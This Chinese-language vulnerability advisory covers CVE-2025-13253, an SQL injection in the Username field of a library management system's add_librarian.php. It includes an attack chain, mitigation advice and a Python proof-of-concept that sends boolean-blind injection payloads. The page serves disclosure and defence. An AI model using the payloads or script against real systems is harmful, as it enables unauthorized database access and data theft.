IPBUF安全漏洞报告
English
CVE-2025-13253 CVSS 6.3 中危

CVE-2025-13253: Advanced Library Management System 1.0 /add_librarian.php SQL注入漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-13253
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
projectworlds Advanced Library Management System 1.0

相关标签

SQL注入CVE-2025-13253Advanced Library Management SystemprojectworldsWeb应用安全数据库安全远程代码执行身份验证绕过

漏洞概述

CVE-2025-13253是projectworlds Advanced Library Management System 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于/add_librarian.php文件的Username参数中,攻击者可以通过构造恶意SQL语句实现未授权数据库操作。由于该漏洞可通过网络远程利用,且需要低权限认证即可发起攻击,因此具有较高的实际威胁性。漏洞已于2025年11月17日公开披露,攻击代码可能已被广泛传播。建议受影响用户立即采取修复措施,避免敏感数据泄露和系统被完全控制。

技术细节

该SQL注入漏洞位于/add_librarian.php文件中,具体受影响参数为Username。攻击者可以在用户注册或添加图书馆管理员的过程中,通过在Username字段注入恶意SQL语句来执行未授权的数据库操作。由于应用程序未对用户输入进行充分的参数化查询或输入验证,恶意SQL代码会被直接拼接到数据库查询语句中执行。CVSS 3.1评分6.3(中等严重程度)反映了该漏洞的网络可利用性、低攻击复杂度和低权限要求等特征。成功利用此漏洞可能导致以下风险:1)未授权读取数据库中的敏感信息;2)修改或删除数据库记录;3)在某些配置下可能实现远程代码执行。攻击者通常利用UNION SELECT、布尔盲注或时间盲注等技术来提取数据或验证漏洞存在性。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统使用projectworlds Advanced Library Management System 1.0,定位/add_librarian.php端点
STEP 2
认证绕过/低权限获取
攻击者使用低权限账号或通过其他途径获取基础访问权限
STEP 3
恶意Payload构造
攻击者在Username参数中构造SQL注入Payload,如使用UNION SELECT、布尔盲注或时间盲注技术
STEP 4
漏洞利用
通过发送恶意构造的HTTP POST请求,将Payload注入到未过滤的数据库查询中
STEP 5
数据窃取/系统控制
成功注入后,攻击者可提取数据库敏感信息、修改数据或在特定条件下执行系统命令

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13253 SQL Injection PoC # Target: projectworlds Advanced Library Management System 1.0 # Endpoint: /add_librarian.php # Parameter: Username def exploit_sqli(target_url, payload): """ Exploit SQL injection in add_librarian.php Username parameter """ target = target_url.rstrip('/') + '/add_librarian.php' # Basic boolean-based blind SQL injection payload data = { 'Username': payload, 'Password': 'test123', 'FirstName': 'Test', 'LastName': 'User', 'Email': '[email protected]', 'Phone': '1234567890', 'submit': 'Add' } try: response = requests.post(target, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def verify_vulnerability(target_url): """ Verify vulnerability existence using boolean-based blind SQLi """ # True condition - should return normally true_payload = "admin' AND 1=1---" # False condition - should cause error or different response false_payload = "admin' AND 1=2---" print(f"[*] Testing target: {target_url}") print("[*] Sending true condition payload...") true_resp = exploit_sqli(target_url, true_payload) print("[*] Sending false condition payload...") false_resp = exploit_sqli(target_url, false_payload) if true_resp and false_resp: if true_resp.status_code != false_resp.status_code or true_resp.text != false_resp.text: print("[+] Vulnerability confirmed!") return True print("[-] Vulnerability not detected") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/library") sys.exit(1) target = sys.argv[1] verify_vulnerability(target)

影响范围

projectworlds Advanced Library Management System 1.0

防御指南

临时缓解措施
立即对/add_librarian.php文件中的Username参数实现输入过滤和参数化查询。在修复前,可临时禁用添加图书馆管理员功能或限制该功能的访问权限。同时检查数据库日志以排查是否存在异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表